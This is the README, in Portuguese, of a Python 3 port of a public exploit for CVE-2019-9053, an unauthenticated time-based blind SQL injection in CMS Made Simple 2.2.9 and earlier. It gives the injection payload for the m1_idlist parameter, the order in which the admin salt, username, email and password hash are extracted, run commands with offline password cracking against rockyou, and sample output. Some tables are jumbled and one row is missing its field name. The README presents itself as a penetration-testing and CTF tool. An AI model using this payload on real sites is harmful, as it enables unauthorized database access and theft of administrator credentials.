
Exploit de injeção SQL cega baseada em tempo não autenticado para CMS Made Simple ≤ 2.2.9 (CVE-2019-9053), portado para Python 3.
Aviso: Esta ferramenta destina-se apenas a testes de penetração autorizados e fins educacionais. Executá-la contra sistemas sem permissão explícita por escrito é ilegal. O autor não assume nenhuma responsabilidade por uso indevido.
Este é um porte para Python 3 do exploit público para CVE-2019-9053 — uma vulnerabilidade de injeção SQL cega baseada em tempo não autenticada no CMS Made Simple ≤ 2.2.9.
O parâmetro vulnerável é m1_idlist no endpoint /moduleinterface.php (módulo News). A entrada do usuário é passada sem sanitização para uma consulta SQL, permitindo que um atacante não autenticado extraia o salt do administrador, nome de utilizador, email e hash da senha — e opcionalmente quebre a senha offline.
Exploit original por Daniele Scanu @ Certimeter Group.
Porte para Python 3 com correções e limpeza.
O exploit utiliza um oráculo de temporização — ele injeta SELECT sleep(T) em uma condição SQL LIKE e mede o tempo de resposta HTTP. Se o servidor atrasar ≥ T segundos, a condição injetada era verdadeira. Isso permite extrair dados um caractere de cada vez sem que nenhum dado apareça no corpo da resposta HTTP.
Estrutura do payload:
m1_idlist=a,b,1,5))+and+(select+sleep(1)+from+cms_users
+where+password+like+0x{hex(prefixo_conhecido+palpite)}25
+and+user_id+like+0x31)+--+
Ordem de extração:
Após a extração, um ataque offline de dicionário opcional calcula MD5(salt + palavra) contra uma wordlist — sem necessidade de mais requisições de rede.
O script original foi escrito para Python 2. As seguintes mudanças críticas foram corrigidas:
pip3 install requests termcolor
| Dependência | Propósito |
|---|---|
requests | Requisições HTTP ao alvo |
termcolor | Saída colorida no terminal |
# Extração básica (sem quebra de senha)
python3 exploit.py -u http://<ip-do-alvo>/simple
# Extração + quebra de senha offline
python3 exploit.py -u http://<ip-do-alvo>/simple --crack -w /usr/share/wordlists/rockyou.txt
| Bandeira | Descrição |
|---|---|
-u, --url |
[+] Salt para a senha encontrado: 1234abcd
[+] Nome de utilizador encontrado: admin
[+] Email encontrado: [email protected]
[+] Senha encontrada: a1b2c3d4e5f6...
[+] Senha quebrada: password123
Este exploit é fornecido apenas para testes de penetração autorizados e uso educacional/CTF.
O uso não autorizado contra sistemas que você não possui ou para os quais não possui permissão explícita por escrito é uma infração criminal de acordo com o IT Act, 2000 (Índia) e leis equivalentes em todo o mundo.
| Etapa | Campo | Tabela | Observações |
|---|
| 1 | Salt | cms_siteprefs | Necessário para quebrar a senha |
| 2 | Nome de utilizador | cms_users | user_id = 1 (admin) |
| 3 | cms_users | user_id = 1 (admin) | |
| 4 | Senha | cms_users | Armazenada como MD5(salt + senha) |
| # | Alteração | Motivo |
|---|
| 1 | print "..." → print("...") | print é uma função no Python 3 |
| 2 | hashlib.md5(str(salt) + line) → hashlib.md5((salt + line).encode()) | hashlib.md5() requer bytes no Python 3 |
| 3 | dict = open(wordlist) → with open(wordlist) as wordlist_file | dict sombreia um built-in; alterado para gerenciador de contexto |
| 4 | print "\033c" → print("\033c", end="") | Evita nova linha dupla ao limpar o terminal |
| 5 | print colored(...) → print(colored(...)) | colored() retorna uma string; precisa do wrapper print() |
| URL base da instalação do CMS Made Simple |
-w, --wordlist | Caminho para uma wordlist para quebra de senha offline |
-c, --crack | Ativa o modo de quebra de senha |
| Campo | Valor |
|---|
| ID do CVE | CVE-2019-9053 |
| Pontuação CVSS | 7.5 (Alta) |
| Tipo | Injeção SQL cega baseada em tempo não autenticada |
| Afetado | CMS Made Simple ≤ 2.2.9 |
| Parâmetro | m1_idlist no módulo News |
| Autenticação necessária | Nenhuma |
| Correção | CMS Made Simple 2.2.10+ |